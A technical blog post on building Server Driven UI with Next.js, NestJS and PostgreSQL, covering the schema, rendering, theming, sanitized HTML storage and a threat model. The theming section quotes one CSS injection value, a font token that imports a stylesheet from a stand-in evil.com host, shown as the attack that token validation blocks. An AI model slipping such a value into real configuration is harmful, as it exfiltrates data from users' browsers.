
Server Driven UI in Next.js: Pushing Rendering Back to the Server
How React Server Components and Next.js' App Router make Server Driven UI faster, leaner, and easier to secure than ever before, with a frank look at storing HTML in the database.
Introduction
Marketing wants a column added to a table on Tuesday. A sales lead wants a different layout for one tenant. The product team is testing whether a sidebar filter converts better than a top filter bar. Each request becomes a code change, a pull request, a build, a deploy, and a small piece of frustration for everyone involved.
Server Driven UI breaks this loop. Instead of hardcoding the structure of your screens in client code, you let the backend describe what should appear, where it should sit, what props it should receive, and what data it should fetch. The frontend becomes a runtime that renders whatever configuration arrives.
Next.js is unusually well suited to this pattern. The App Router fetches data on the server, React Server Components keep static content out of the browser bundle entirely, and revalidateTag lets you push configuration changes to active sessions without a full deploy. The architecture in this post leans into all of those capabilities. It also covers the question almost every team eventually asks: can I just store HTML directly in the database? The short answer is yes, but only with care. The long answer is the rest of this post.
Background
A traditional Next.js application has a fixed relationship between routes and components. The route /patients maps to a PatientsPage server component, which renders PatientSearch and PatientTable. All three are written in TypeScript, compiled at build time, and shipped as part of a build artifact. To change anything visible to users, you change the code and trigger a new deployment.
A Server Driven UI application inverts that relationship. The route /patients maps to a generic page renderer, which asks the backend what should appear. The backend returns a JSON document describing a list of components, their configurations, and how they should be wired together. The frontend ships with a small library of pre built component types: table, search, form, card, chart, and so on. The backend chooses which ones to use and how to configure them.
The pattern is sometimes called SDUI, configuration driven UI, or low code rendering. Notion, Airtable, and most modern CMS platforms use a version of it. The trade is straightforward. You accept more architectural complexity up front in exchange for the ability to ship UI changes through configuration rather than code for the rest of the application's life.
Architecture
Three layers, each with a clear and non overlapping responsibility. Crossing these boundaries casually is the most common cause of bugs in Server Driven UI systems, so they are worth memorizing.
PostgreSQL owns the configurations, theme tokens, and version history. NestJS owns composition, placeholder resolution, validation, and the data APIs that components fetch from. Next.js owns rendering known components from configurations, local UI state, and user interaction. Redis sits between NestJS and PostgreSQL purely as a cache.
Next.js adds a fourth concern that pure Angular and pure React SPAs do not face: the boundary between server components and client components. Place that boundary thoughtfully and most of your renderer ships zero JavaScript. Place it carelessly and you end up with hydration errors and a bundle full of unnecessary code.
The Question Behind the Goal
Before any code, be precise about what "change UI without redeploying" means. The phrase has two valid interpretations, and they lead to architectures that look superficially similar but differ enormously in security posture and complexity.
The first interpretation is configuration driven composition. A fixed library of about 25 React components ships with the application. The database stores which components appear, how they are arranged, what props they receive, and what data they fetch. This covers adding a column to a table, reordering form fields, swapping a search bar for a filter panel, changing brand colors, or rolling out an entirely new page from existing components, all without a deploy. Only introducing a new component type or fixing a bug in an existing component's internal logic requires shipping code.
The second interpretation is storing raw HTML or JSX strings in the database. Tempting because it sounds maximally flexible. Also dangerous. Storing executable markup means a single compromised admin account or SQL injection becomes XSS on every user's browser. It forces you into dangerouslySetInnerHTML everywhere, breaks the security guarantees that come with JSX, and creates stack traces that point to dynamic strings rather than source files.
This post implements the first interpretation as the primary system. A later section covers what to do when business reality forces you toward the second, and how to do it without exposing your users.
Database Schema
The configuration store has six core tables. Two of them, component_templates and page_components, do most of the heavy lifting. The split between them is what makes components reusable across many pages.
CREATE TABLE component_templates (
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
code VARCHAR(100) NOT NULL,
type VARCHAR(50) NOT NULL,
display_name VARCHAR(255) NOT NULL,
schema_version INT NOT NULL DEFAULT 1,
config JSONB NOT NULL,
permissions JSONB,
is_active BOOLEAN NOT NULL DEFAULT true,
version INT NOT NULL DEFAULT 1,
created_at TIMESTAMPTZ NOT NULL DEFAULT NOW(),
updated_at TIMESTAMPTZ NOT NULL DEFAULT NOW(),
UNIQUE (code, version)
);
CREATE TABLE page_templates (
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
route VARCHAR(255) NOT NULL,
tenant_id UUID,
title VARCHAR(255),
layout JSONB NOT NULL,
permissions JSONB,
is_active BOOLEAN NOT NULL DEFAULT true,
version INT NOT NULL DEFAULT 1,
UNIQUE (route, tenant_id, version)
);
CREATE TABLE page_components (
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
page_id UUID NOT NULL REFERENCES page_templates(id) ON DELETE CASCADE,
component_id UUID NOT NULL REFERENCES component_templates(id),
instance_id VARCHAR(100) NOT NULL,
position JSONB NOT NULL,
config_override JSONB,
display_order INT NOT NULL DEFAULT 0,
UNIQUE (page_id, instance_id)
);
A seventh table is critical for security. The allowed_data_sources table acts as a whitelist of API endpoints that components are permitted to fetch from. Components reference data sources by code, never by URL. The frontend never sees raw endpoints, which makes it physically impossible for a malicious or mistaken database write to cause Server Side Request Forgery or exfiltration to attacker controlled domains.
CREATE TABLE allowed_data_sources (
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
code VARCHAR(100) NOT NULL UNIQUE,
endpoint VARCHAR(500) NOT NULL,
method VARCHAR(10) NOT NULL,
param_schema JSONB,
permissions JSONB,
is_active BOOLEAN NOT NULL DEFAULT true
);
A template_versions table stores immutable snapshots of every change for rollback and audit. A themes table holds design tokens.
The JSON Contract
The shape of the API response from GET /api/ui/page is the most important interface in the system. It is the contract between everyone who builds backend templates and everyone who builds frontend components. Treat it like a public API. Version it, document it, validate it on both ends.
A complete response for a hypothetical patient management page:
{
"page": {
"route": "/patients",
"title": "Patient Management",
"version": 7,
"layout": { "type": "grid", "columns": 12, "gap": "md" }
},
"components": [
{
"instanceId": "patient_search",
"templateCode": "search_v1",
"type": "search",
"execution": "client",
"position": { "col": 0, "span": 12 },
"props": {
"placeholder": "Search by name, ID or phone",
"debounceMs": 300
},
"dataSource": null,
"events": {
"emits": [{ "name": "search:changed" }],
"listensTo": []
}
},
{
"instanceId": "patient_table",
"templateCode": "data_table_v2",
"type": "table",
"execution": "server",
"position": { "col": 0, "span": 12 },
"props": {
"title": "Patients for {{user.hospitalName}}",
"columns": [
{ "key": "name", "label": "Patient Name", "sortable": true },
{ "key": "lastVisit", "label": "Last Visit", "format": "date" }
],
"pagination": { "pageSize": 25 }
},
"dataSource": {
"type": "api",
"code": "patients_list",
"params": { "hospitalId": "{{user.hospitalId}}" }
},
"events": {
"emits": [{ "name": "row:selected" }],
"listensTo": [{
"from": "patient_search",
"event": "search:changed",
"action": "refetch",
"paramMapping": { "q": "$payload.query" }
}]
}
}
]
}
A few details deserve attention. The templateCode field is what Next.js looks up in its component registry; keeping it separate from class names lets you refactor freely. The dataSource.code field references the whitelist rather than carrying a raw URL. The events.listensTo array declares wiring between components in configuration, not in code, which means rewiring a search box to filter a different table is a JSON edit. Double brace placeholders are resolved server side using a strict allowlist.
The execution field hints to the renderer whether the component should render as a server component or a client component. Components that need interactivity (search, form, anything with onClick) get execution: "client". Components that only render data (a static table, a card, a heading) can be execution: "server", which means zero JavaScript ships to the browser for them. This maps cleanly onto the App Router model.
Backend Implementation in NestJS
One orchestrator service produces every page response. It does six things in order: cache lookup, database fetch, permission filtering, override merging, placeholder resolution, validation. If any step fails, the whole response fails. There is no half rendered page.
@Injectable()
export class PageBuilderService {
constructor(
@InjectRepository(PageTemplate) private pages: Repository<PageTemplate>,
private cache: CacheService,
private placeholders: PlaceholderResolverService,
private validator: ConfigValidatorService,
private permissions: PermissionFilterService,
) {}
async buildPage(route: string, ctx: RenderContext) {
const cacheKey = this.cacheKey(route, ctx);
const cached = await this.cache.get(cacheKey);
if (cached) return cached;
const page = await this.pages.findOne({
where: [
{ route, tenantId: ctx.tenant.id, isActive: true },
{ route, tenantId: null, isActive: true },
],
relations: ['components', 'components.template'],
order: { components: { displayOrder: 'ASC' } },
});
if (!page) throw new NotFoundException();
if (!this.permissions.canAccessPage(page, ctx.user)) {
throw new ForbiddenException();
}
const components = page.components
.filter(pc => pc.isActive)
.filter(pc => this.permissions.canAccessComponent(pc.template, ctx.user))
.map(pc => ({
instanceId: pc.instanceId,
templateCode: pc.template.code,
type: pc.template.type,
position: pc.position,
...deepMerge(pc.template.config, pc.configOverride ?? {}),
}));
const response = { page: this.publicPage(page), components };
const resolved = this.placeholders.resolve(response, ctx);
this.validator.validatePageResponse(resolved);
await this.cache.set(cacheKey, resolved, 300);
return resolved;
}
private cacheKey(route: string, ctx: RenderContext): string {
const roleKey = [...ctx.user.roles].sort().join(',');
return `ui:page:${ctx.tenant.id}:${route}:${roleKey}`;
}
}
The cache key includes tenant ID and the user's sorted roles. Two users with the same role share a cache entry, which keeps the cache small, but tenants and roles never bleed into each other.
The placeholder resolver is the only place in the system where context flows into configuration strings, and it must be airtight.
@Injectable()
export class PlaceholderResolverService {
private readonly PATTERN = /\{\{\s*([\w.]+)\s*\}\}/g;
private readonly ALLOWED_PATHS = new Set([
'user.id', 'user.name', 'user.email',
'user.hospitalId', 'user.hospitalName', 'user.role',
'tenant.id', 'tenant.name',
'now', 'today',
]);
resolve<T>(value: T, ctx: any): T {
return this.walk(value, ctx) as T;
}
private walk(v: any, ctx: any): any {
if (v == null) return v;
if (typeof v === 'string') return this.resolveString(v, ctx);
if (Array.isArray(v)) return v.map(x => this.walk(x, ctx));
if (typeof v === 'object') {
const out: any = {};
for (const k of Object.keys(v)) out[k] = this.walk(v[k], ctx);
return out;
}
return v;
}
private resolveString(s: string, ctx: any): string {
return s.replace(this.PATTERN, (_, path) => {
if (!this.ALLOWED_PATHS.has(path)) return '';
const val = path.split('.').reduce((a: any, k) => a?.[k], ctx);
return val == null ? '' : String(val);
});
}
}
The allowlist prevents a malicious admin from writing {{user.passwordHash}} into a label and exfiltrating sensitive data through rendered UI. Without it, the resolver would happily look up any path on the context object. With it, anything outside the approved set is silently dropped.
Schema validation uses Zod. Every component type has its own schema, and the schemas are the source of truth for both validation and the admin UI's form generation:
export const TableConfigSchema = z.object({
templateCode: z.string(),
type: z.literal('table'),
execution: z.enum(['client', 'server']),
props: z.object({
title: z.string().max(500).optional(),
columns: z.array(z.object({
key: z.string().regex(/^[a-zA-Z_][a-zA-Z0-9_]*$/),
label: z.string().max(200),
sortable: z.boolean().optional(),
format: z.enum(['date', 'datetime', 'currency', 'number', 'text']).optional(),
})).min(1).max(50),
pagination: z.object({
pageSize: z.number().int().min(1).max(500),
}).optional(),
}),
dataSource: z.object({
type: z.literal('api'),
code: z.string().regex(/^[a-z0-9_]+$/),
params: z.record(z.string(), z.string()).optional(),
}).nullable(),
});
Every bound matters. A column count limit of 50 prevents denial of service through configurations with thousands of columns. The regex on column keys prevents injection. The whitelist regex on data source codes ensures no raw URLs slip through.
Frontend Implementation in Next.js
Three primitives carry the entire frontend: a registry that maps codes to components, a renderer that materializes a configuration into the React tree, and an event bus that lets components talk without knowing one another.
The registry is a map from templateCode strings to dynamic imports of React components. This indirection decouples database content from code identity. You can rename a component as long as the registration code is updated.
// lib/ui-engine/registry.ts
import dynamic from 'next/dynamic';
import type { ComponentType } from 'react';
import type { ComponentConfig } from './types';
export interface DynamicComponentProps {
config: ComponentConfig;
}
const REGISTRY: Record<string, ComponentType<DynamicComponentProps>> = {
data_table_v2: dynamic(() =>
import('@/components/data-table').then(m => m.DataTable)
),
search_v1: dynamic(() =>
import('@/components/search').then(m => m.Search)
),
form_v1: dynamic(() =>
import('@/components/form').then(m => m.Form)
),
card_v1: dynamic(() =>
import('@/components/card').then(m => m.Card)
),
};
export function resolveComponent(
code: string
): ComponentType<DynamicComponentProps> | null {
return REGISTRY[code] ?? null;
}
next/dynamic handles code splitting automatically. A page using only a table and search loads only those bundles, no matter how many other component types exist in the registry.
The dynamic page lives at the App Router catch all route. A single page.tsx file at app/[[...slug]]/page.tsx handles every route the system manages, fetching the configuration on the server before any rendering happens.
// app/[[...slug]]/page.tsx
import { notFound } from 'next/navigation';
import { cookies } from 'next/headers';
import { fetchPageConfig } from '@/lib/ui-engine/page-service';
import { PageRenderer } from '@/components/page-renderer';
interface PageProps {
params: Promise<{ slug?: string[] }>;
}
export default async function DynamicPage({ params }: PageProps) {
const { slug } = await params;
const route = '/' + (slug?.join('/') ?? '');
const cookieStore = await cookies();
const token = cookieStore.get('auth_token')?.value;
const config = await fetchPageConfig(route, token);
if (!config) notFound();
return <PageRenderer config={config} />;
}
export async function generateMetadata({ params }: PageProps) {
const { slug } = await params;
const route = '/' + (slug?.join('/') ?? '');
const cookieStore = await cookies();
const token = cookieStore.get('auth_token')?.value;
const config = await fetchPageConfig(route, token);
return { title: config?.page.title ?? 'Untitled' };
}
The page service handles the actual fetch with proper cache tags so revalidation can be triggered when configurations change.
// lib/ui-engine/page-service.ts
import type { PageResponse } from './types';
export async function fetchPageConfig(
route: string,
token: string | undefined
): Promise<PageResponse | null> {
if (!token) return null;
const url = new URL('/api/ui/page', process.env.API_BASE_URL);
url.searchParams.set('route', route);
const res = await fetch(url, {
headers: { Authorization: `Bearer ${token}` },
next: {
revalidate: 300,
tags: [`page:${route}`, 'page:all'],
},
});
if (res.status === 404) return null;
if (!res.ok) throw new Error(`Failed to load page: ${res.status}`);
return res.json();
}
The page renderer is a server component that lays out the grid and dispatches each cell to a slot. Server components stay on the server when their children are also server components. A page made entirely of static cards never ships any JavaScript for the renderer itself.
// components/page-renderer.tsx
import type { PageResponse } from '@/lib/ui-engine/types';
import { ComponentSlot } from './component-slot';
interface Props {
config: PageResponse;
}
export function PageRenderer({ config }: Props) {
const { layout } = config.page;
const gridCols = `repeat(${layout.columns ?? 12}, minmax(0, 1fr))`;
const gap = { sm: '8px', md: '16px', lg: '24px' }[layout.gap ?? 'md'];
return (
<div>
<h1 className="page-title">{config.page.title}</h1>
<div
className="page-grid"
style={{ display: 'grid', gridTemplateColumns: gridCols, gap }}
>
{config.components.map(cmp => (
<div
key={cmp.instanceId}
className="grid-item"
style={{ gridColumn: `span ${cmp.position.span}` }}
>
<ComponentSlot config={cmp} />
</div>
))}
</div>
</div>
);
}
The slot looks up the right component class based on templateCode and renders it. This is where configuration becomes UI.
// components/component-slot.tsx
import { resolveComponent } from '@/lib/ui-engine/registry';
import type { ComponentConfig } from '@/lib/ui-engine/types';
interface Props {
config: ComponentConfig;
}
export function ComponentSlot({ config }: Props) {
const Cmp = resolveComponent(config.templateCode);
if (!Cmp) {
if (process.env.NODE_ENV === 'development') {
return <div className="error">Unknown component: {config.templateCode}</div>;
}
return null;
}
return <Cmp config={config} />;
}
The event bus lives in a client component because it relies on browser side state. A React context plus a small subscription mechanism does the job:
// lib/ui-engine/event-bus.tsx
'use client';
import { createContext, useContext, useEffect, useRef, useCallback, ReactNode } from 'react';
interface BusEvent {
instanceId: string;
eventName: string;
payload: any;
timestamp: number;
}
type Listener = (event: BusEvent) => void;
interface EventBusValue {
emit: (instanceId: string, eventName: string, payload?: any) => void;
subscribe: (listener: Listener) => () => void;
}
const EventBusContext = createContext<EventBusValue | null>(null);
export function EventBusProvider({ children }: { children: ReactNode }) {
const listenersRef = useRef<Set<Listener>>(new Set());
const emit = useCallback((instanceId: string, eventName: string, payload: any = {}) => {
const event = { instanceId, eventName, payload, timestamp: Date.now() };
listenersRef.current.forEach(l => l(event));
}, []);
const subscribe = useCallback((listener: Listener) => {
listenersRef.current.add(listener);
return () => { listenersRef.current.delete(listener); };
}, []);
return (
<EventBusContext.Provider value={{ emit, subscribe }}>
{children}
</EventBusContext.Provider>
);
}
export function useEventBus() {
const ctx = useContext(EventBusContext);
if (!ctx) throw new Error('useEventBus must be used inside EventBusProvider');
return ctx;
}
export function useEventListener(
sourceId: string | undefined,
eventName: string | undefined,
handler: (payload: any) => void
) {
const { subscribe } = useEventBus();
useEffect(() => {
if (!sourceId || !eventName) return;
return subscribe(event => {
if (event.instanceId === sourceId && event.eventName === eventName) {
handler(event.payload);
}
});
}, [sourceId, eventName, handler, subscribe]);
}
A search component using the bus is a few lines of React. The user types, the input is debounced and emitted onto the bus, and any component on the page whose configuration declares it as a listener will react.
// components/search.tsx
'use client';
import { useState, useEffect, useRef } from 'react';
import { useEventBus } from '@/lib/ui-engine/event-bus';
import type { ComponentConfig } from '@/lib/ui-engine/types';
export function Search({ config }: { config: ComponentConfig }) {
const [value, setValue] = useState('');
const { emit } = useEventBus();
const timerRef = useRef<NodeJS.Timeout>();
useEffect(() => {
const debounce = config.props.debounceMs ?? 300;
const min = config.props.minChars ?? 0;
if (timerRef.current) clearTimeout(timerRef.current);
timerRef.current = setTimeout(() => {
if (value.length >= min || value.length === 0) {
emit(config.instanceId, 'search:changed', { query: value });
}
}, debounce);
return () => { if (timerRef.current) clearTimeout(timerRef.current); };
}, [value, config, emit]);
return (
<input
type="text"
value={value}
placeholder={config.props.placeholder}
onChange={e => setValue(e.target.value)}
className="search-input"
/>
);
}
The wiring between components is declared in the page configuration, not in either component. Changing what a search filters is a JSON edit, not a code edit.
Server or Client Components
Anything touching authentication, business rules, large datasets, or sensitive data lives on the server. Anything touching local UI state, animation, immediate feedback, or small datasets lives on the client.
The execution field tells the renderer which path to take. A table with execution: "server" is implemented as a server component that fetches data during render and ships only HTML to the browser. A table with execution: "client" is a client component that fetches once on mount and manipulates rows in memory using useState.
A table of fifty US states for a registration form should run as a client component. The dataset is tiny, sorting and filtering in memory is instant, and rendering on the server adds nothing. A table of fifty thousand patient records is a different story. If it is mostly read only and changes rarely, render it as a server component with unstable_cache so the server work is amortized across users. If it needs interactive sorting and pagination, make it a client component but keep the data fetching server side through a route handler.
Two implementations of the same conceptual table can live in the registry, one server and one client, registered under different codes (data_table_v2_server and data_table_v2_client). The configuration picks which one applies. The user does not need to know the difference.
Theming Without Raw CSS
Themes are stored as design tokens, never as raw CSS. The frontend translates tokens into CSS custom properties, components reference them by name, and changing a token updates the whole UI.
{
"color": {
"primary": "#0066cc",
"danger": "#dc2626",
"surface": "#ffffff",
"textPrimary": "#111827",
"border": "#e5e7eb"
},
"spacing": { "xs": 4, "sm": 8, "md": 16, "lg": 24, "xl": 32 },
"typography": {
"fontFamily": "Inter, system-ui, sans-serif",
"fontSize": { "sm": "14px", "base": "16px", "lg": "18px" }
},
"radius": { "sm": 4, "md": 8, "lg": 12 }
}
In Next.js, apply tokens server side as inline CSS variables on the root layout. No flash of unstyled content. No client side JavaScript needed for the base theme.
// app/layout.tsx
import { fetchActiveTheme } from '@/lib/ui-engine/theme-service';
import { tokensToCssVars } from '@/lib/ui-engine/theme-utils';
export default async function RootLayout({ children }: { children: React.ReactNode }) {
const theme = await fetchActiveTheme();
const cssVars = tokensToCssVars(theme.tokens);
return (
<html lang="en">
<body style={cssVars as React.CSSProperties}>
{children}
</body>
</html>
);
}
The utility builds a style object that React inlines as CSS variables on the body tag.
// lib/ui-engine/theme-utils.ts
import type { ThemeTokens } from './types';
export function tokensToCssVars(tokens: ThemeTokens): Record<string, string> {
const vars: Record<string, string> = {};
for (const [n, v] of Object.entries(tokens.color)) vars[`--color-${n}`] = v;
for (const [n, v] of Object.entries(tokens.spacing)) vars[`--space-${n}`] = `${v}px`;
for (const [n, v] of Object.entries(tokens.radius)) vars[`--radius-${n}`] = `${v}px`;
vars['--font-family'] = tokens.typography.fontFamily;
for (const [n, v] of Object.entries(tokens.typography.fontSize)) vars[`--font-size-${n}`] = v;
return vars;
}
Components reference variables in their stylesheets, never hardcoded values:
.data-table {
background: var(--color-surface);
border: 1px solid var(--color-border);
border-radius: var(--radius-md);
font-family: var(--font-family);
font-size: var(--font-size-base);
}
Token validation matters because CSS injection is a real attack vector. A fontFamily token containing "; @import url('//evil.com/exfil.css'); font-family: " would, if applied directly, fetch attacker resources from every user's browser. Strict regex validation on every token prevents this.
Storing HTML in the Database, Honestly
Real applications have legitimate reasons to store HTML like content in databases. Marketing teams write banners. Customer success teams compose announcements. CMS authors publish articles. Forcing all of this through a 25 component registry is both insulting to authors and counterproductive to the business.
You can store HTML in the database, but only with a layered defense. Do not store generic "HTML." Store one of three explicitly typed content formats, each with its own security profile.
Tier one is Markdown with sanitization. Authors write in a constrained syntax. The renderer converts to HTML. A sanitizer scrubs the result. Three independent layers must each fail for an attack to succeed. In Next.js, this can run on the server, which means the sanitization happens once during render and the browser never executes any markdown library.
// components/rich-text.tsx
import { remark } from 'remark';
import remarkHtml from 'remark-html';
import sanitizeHtml from 'sanitize-html';
import type { ComponentConfig } from '@/lib/ui-engine/types';
const ALLOWED = {
allowedTags: ['p','h1','h2','h3','h4','strong','em','u','s',
'ul','ol','li','blockquote','code','pre','a',
'img','hr','br','table','thead','tbody','tr','th','td'],
allowedAttributes: {
a: ['href','title','target','rel'],
img: ['src','alt','title'],
},
allowedSchemes: ['http','https','mailto'],
disallowedTagsMode: 'discard' as const,
transformTags: {
'a': (tag: string, attribs: Record<string, string>) => ({
tagName: 'a',
attribs: { ...attribs, target: '_blank', rel: 'noopener noreferrer' },
}),
},
};
export async function RichText({ config }: { config: ComponentConfig }) {
const markdown = config.props.content ?? '';
if (markdown.length > 50_000) {
return <p><em>Content too long.</em></p>;
}
const file = await remark().use(remarkHtml).process(markdown);
const rawHtml = String(file);
const cleanHtml = sanitizeHtml(rawHtml, ALLOWED);
return <div className="rich-text" dangerouslySetInnerHTML={{ __html: cleanHtml }} />;
}
This component is a server component. The dangerouslySetInnerHTML is acceptable here only because the HTML it receives has already been sanitized server side. Never use dangerouslySetInnerHTML on raw user content.
Tier two is structured block JSON. Instead of storing HTML, store an array of typed blocks. Render each block through a known component. Notion, Sanity, and most modern CMS systems work this way.
[
{ "type": "heading", "level": 2, "text": "Welcome to our portal" },
{ "type": "paragraph", "text": "Here you can view records and book appointments." },
{ "type": "image", "src": "https://cdn.app.com/banner.jpg", "alt": "Hospital lobby" },
{ "type": "callout", "variant": "info", "text": "Flu shots are now available." },
{ "type": "button", "label": "Book Appointment", "action": "navigate", "target": "/appointments" }
]
The renderer walks the array and dispatches each block to a known component:
// components/blocks.tsx
interface Block {
type: string;
[key: string]: any;
}
function safeUrl(u: string): string {
return /^https?:\/\//.test(u) ? u : '';
}
export function Blocks({ blocks }: { blocks: Block[] }) {
return (
<>
{blocks.map((b, i) => {
switch (b.type) {
case 'heading':
return <h2 key={i}>{b.text}</h2>;
case 'paragraph':
return <p key={i}>{b.text}</p>;
case 'image':
return (
<figure key={i}>
<img src={safeUrl(b.src)} alt={b.alt} />
{b.caption && <figcaption>{b.caption}</figcaption>}
</figure>
);
case 'callout':
return <div key={i} className={`callout callout-${b.variant}`}>{b.text}</div>;
case 'button':
return <a key={i} href={safeUrl(b.target)} className="btn">{b.label}</a>;
default:
return null;
}
})}
</>
);
}
With tier two, no HTML is ever stored or rendered from the database. Every block is a known type rendered by a known component. Authors get rich layout. You get zero XSS surface area.
Tier three is sanitized raw HTML. Use it sparingly and only with five layers of defense. Each layer below has caught real attacks in production systems. Removing any of them re opens the corresponding class of vulnerability.
The first layer is author input control. The admin UI prevents pasting scripts and applies client side sanitization before submission. The second layer is server side sanitization on write. A library like sanitize-html runs with a strict allowlist, and if more than thirty percent of the input was stripped, the content is flagged for human review on the suspicion that it contained malicious payload. The third layer is typed storage. The database row records the author, the sanitization version, the allowlist version, and a publication flag that defaults to false. The fourth layer is server side sanitization on read; even though the content was sanitized on write, you sanitize again because the allowlist may have tightened. The fifth layer is iframe sandboxing in the browser. For genuinely untrusted content, render inside an iframe with a sandbox attribute that omits allow-scripts. Even if every other defense failed, the browser will not execute a script tag.
// components/untrusted-html.tsx
interface Props {
html: string;
height?: number;
}
export function UntrustedHtml({ html, height = 400 }: Props) {
const srcdoc = `<!doctype html><html><head><meta charset="utf-8">
<style>body { font-family: sans-serif; margin: 0; padding: 16px; }</style>
</head><body>${html}</body></html>`;
return (
<iframe
srcDoc={srcdoc}
sandbox="allow-same-origin"
referrerPolicy="no-referrer"
style={{ width: '100%', border: 'none', height }}
/>
);
}
The decision tree is short. No rich content from non technical authors? Use configuration driven components. Mostly text with light formatting? Use tier one. Reasonably constrained layout? Use tier two. Trusted staff under your authentication and audit system? Use tier three with the five layer defense and a two stage approval workflow. Genuinely user generated and untrusted? Use tier three with iframe sandboxing and treat all content as hostile.
Threat Model
A compromised admin account in this architecture has a much bigger blast radius than in a static SPA. Every configuration that flows from the database is, in effect, a partial program executed in users' browsers. The threats below cover the main attack vectors.
XSS through configuration strings is mitigated by React's default escaping of all values rendered as text inside JSX, plus a strict prohibition on using dangerouslySetInnerHTML on database content without first sanitizing. XSS through theme tokens is mitigated by strict regex validation on every token. SSRF through dataSource is mitigated by the whitelist approach. Privilege escalation is mitigated by enforcing page and component permissions server side, before render, so unauthorized data is never sent to the browser. Cross tenant cache leaks are mitigated by including tenant and role in every cache key. Prototype pollution through configuration overrides is mitigated by a safe deep merge function:
const FORBIDDEN = new Set(['__proto__', 'constructor', 'prototype']);
export function deepMerge<T extends object>(target: T, source: any): T {
const out: any = Array.isArray(target) ? [...target as any] : { ...target };
if (!source || typeof source !== 'object') return out;
for (const key of Object.keys(source)) {
if (FORBIDDEN.has(key)) continue;
const sv = source[key];
const tv = (out as any)[key];
if (sv && typeof sv === 'object' && !Array.isArray(sv)
&& tv && typeof tv === 'object') {
out[key] = deepMerge(tv, sv);
} else {
out[key] = sv;
}
}
return out;
}
A tight Content Security Policy is the final layer. In Next.js, set it in middleware.ts so it applies uniformly to every route.
// middleware.ts
import { NextResponse } from 'next/server';
import type { NextRequest } from 'next/server';
export function middleware(request: NextRequest) {
const nonce = Buffer.from(crypto.randomUUID()).toString('base64');
const csp = [
`default-src 'self'`,
`script-src 'self' 'nonce-${nonce}' 'strict-dynamic'`,
`style-src 'self' 'unsafe-inline'`,
`img-src 'self' data: https:`,
`connect-src 'self' ${process.env.API_BASE_URL}`,
`frame-ancestors 'none'`,
`object-src 'none'`,
].join('; ');
const response = NextResponse.next({
request: { headers: new Headers(request.headers) },
});
response.headers.set('Content-Security-Policy', csp);
return response;
}
What This Looks Like in Practice
Marketing finalizes a new brand palette on Monday and wants it live by Tuesday. In a traditional Next.js app, a designer hands hex codes to engineers, who edit Tailwind config or CSS variables, run a build, deploy through CI, and pray no regressions occurred. One to three days. With Server Driven UI, the designer opens the admin UI's theme editor, picks colors, hits preview, hits publish, and the system calls revalidateTag('theme:active') so the next request picks up the new theme. Ten minutes.
A multi tenant SaaS has Hospital A tracking insurance providers prominently while Hospital B tracks referring doctors. A static SPA solves this with feature flags, conditional rendering, and a codebase that knows about every tenant's quirks. With SDUI, the base page_components row defines default columns. The config_override JSONB column holds per tenant additions or replacements. The page builder deep merges during composition. Same code, two experiences, zero conditional logic.
A product team A/B tests whether a sidebar filter converts better than a top filter bar. Two page configurations share a route. The page builder picks one based on a user bucket attribute on the JWT. Metrics flow into the analytics pipeline tagged with the variant. After two weeks, the winner becomes the default; the loser is archived in version history.
Compliance requires that nurses see patient data but only doctors see medication history. The medication history component carries a permissions object specifying that the doctor role is required. The permission filter runs server side during page composition. Nurses' page responses never include the component, the data is not sent to their browser, and no client side hide logic exists to be bypassed.
An admin saves a malformed prop on the main dashboard at three in the morning. Customer reports flood in within minutes. The on call engineer opens the admin UI, sees version 34 (broken) and version 33 (last good), clicks rollback to version 33, watches the system create version 35 as a copy of version 33, and sees revalidateTag('page:/dashboard') invalidate the cache while a Server Sent Event broadcasts the change to active sessions. Five minutes.
When to Build This and When to Skip It
The architecture is a force multiplier, not a free lunch. It exchanges architectural complexity for operational velocity. The trade only makes sense when your team values shipping speed and customization more than initial simplicity.
Build it when you have ten or more pages that change frequently, multi tenant customization needs, product or operations teams asking for self service UI, an active A/B testing program, strict audit requirements, regular brand updates, or fatigue from "small UI change leads to full deploy" cycles.
Skip it when you have fewer than ten pages and they rarely change, a small team that prefers code over configuration, performance critical to single digit milliseconds, no appetite for building and maintaining an admin UI, UI that is rarely customized per tenant, or pages that are highly interactive (canvas, video editor, IDE).
A few anti patterns appear in nearly every team's first attempt. Storing HTML strings in the database without a tiered defense creates XSS risk and forces you into dangerouslySetInnerHTML everywhere. Storing raw URLs in dataSource enables SSRF. Building a Turing complete configuration DSL means you have reinvented programming, badly. Conditional if/else logic in JSON becomes unreadable. Skipping schema validation guarantees production breakage from a single bad configuration. Allowing arbitrary placeholders enables PII leaks. The biggest anti pattern is shipping without an admin UI, because "no redeploy" then becomes "DBA writes JSON by hand," which is worse than redeploying.
A Next.js specific gotcha worth calling out: do not import client only libraries (anything that uses window, document, or React hooks) in server components. The dynamic registry isolates this risk because client components are loaded through dynamic(), but if you forget the 'use client' directive on a component that uses useState, you will get cryptic errors during build. Make it part of the component template that every interactive component starts with 'use client' at the top.
Build Order
Six to eight weeks for one engineer to reach a usable MVP.
Week one: database schema plus one component (a table) flowing end to end. Days eight through ten: component registry and dynamic page renderer. Days eleven through twelve: placeholder resolver and Zod validation, which form the security baseline. Days thirteen through fifteen: a search component and the event bus, which prove inter component communication. Week three: the form component, which is the trickiest piece because it has client side validation hints, server side authoritative validation, conditional fields, async validators, and submit handlers. Days twenty two through twenty four: the theme system. Days twenty five through twenty seven: versioning and rollback. Days twenty eight through thirty: caching, ETags, and batch loading. Weeks five and six: the admin UI MVP, which is mandatory rather than optional because the whole system is unusable without it. Final days: Server Sent Events for live updates and audit logging for compliance.
For migration, do not rewrite everything. Pick one high churn page (one you have redeployed five or more times in the last quarter), build the minimum component types it needs, run the new version in parallel behind a feature flag for one tenant, measure load time and error rate, and migrate more pages once confidence is high.
Key Takeaways
- Configuration driven composition gives you about ninety five percent of the flexibility of "store HTML in DB" with none of the security catastrophe.
- PostgreSQL stores configuration, NestJS composes and validates, Next.js renders. Crossing these layer boundaries casually is the main source of bugs.
- The JSON contract between backend and frontend is the most important interface in the system. Treat it like a public API.
- Next.js' server and client component split maps cleanly onto the
executionflag in component configuration. Static rendering happens on the server with zero JavaScript shipped to the browser. Interactive components opt into client rendering with'use client'. revalidateTagis the right tool for pushing configuration changes to active sessions without a full deploy. Tag every page fetch and theme fetch, and cache invalidation becomes one line of code.- Use the three tier model for HTML in the database: Markdown with sanitization first, structured block JSON when layout matters, sanitized raw HTML with five layers of defense only when nothing else will do.
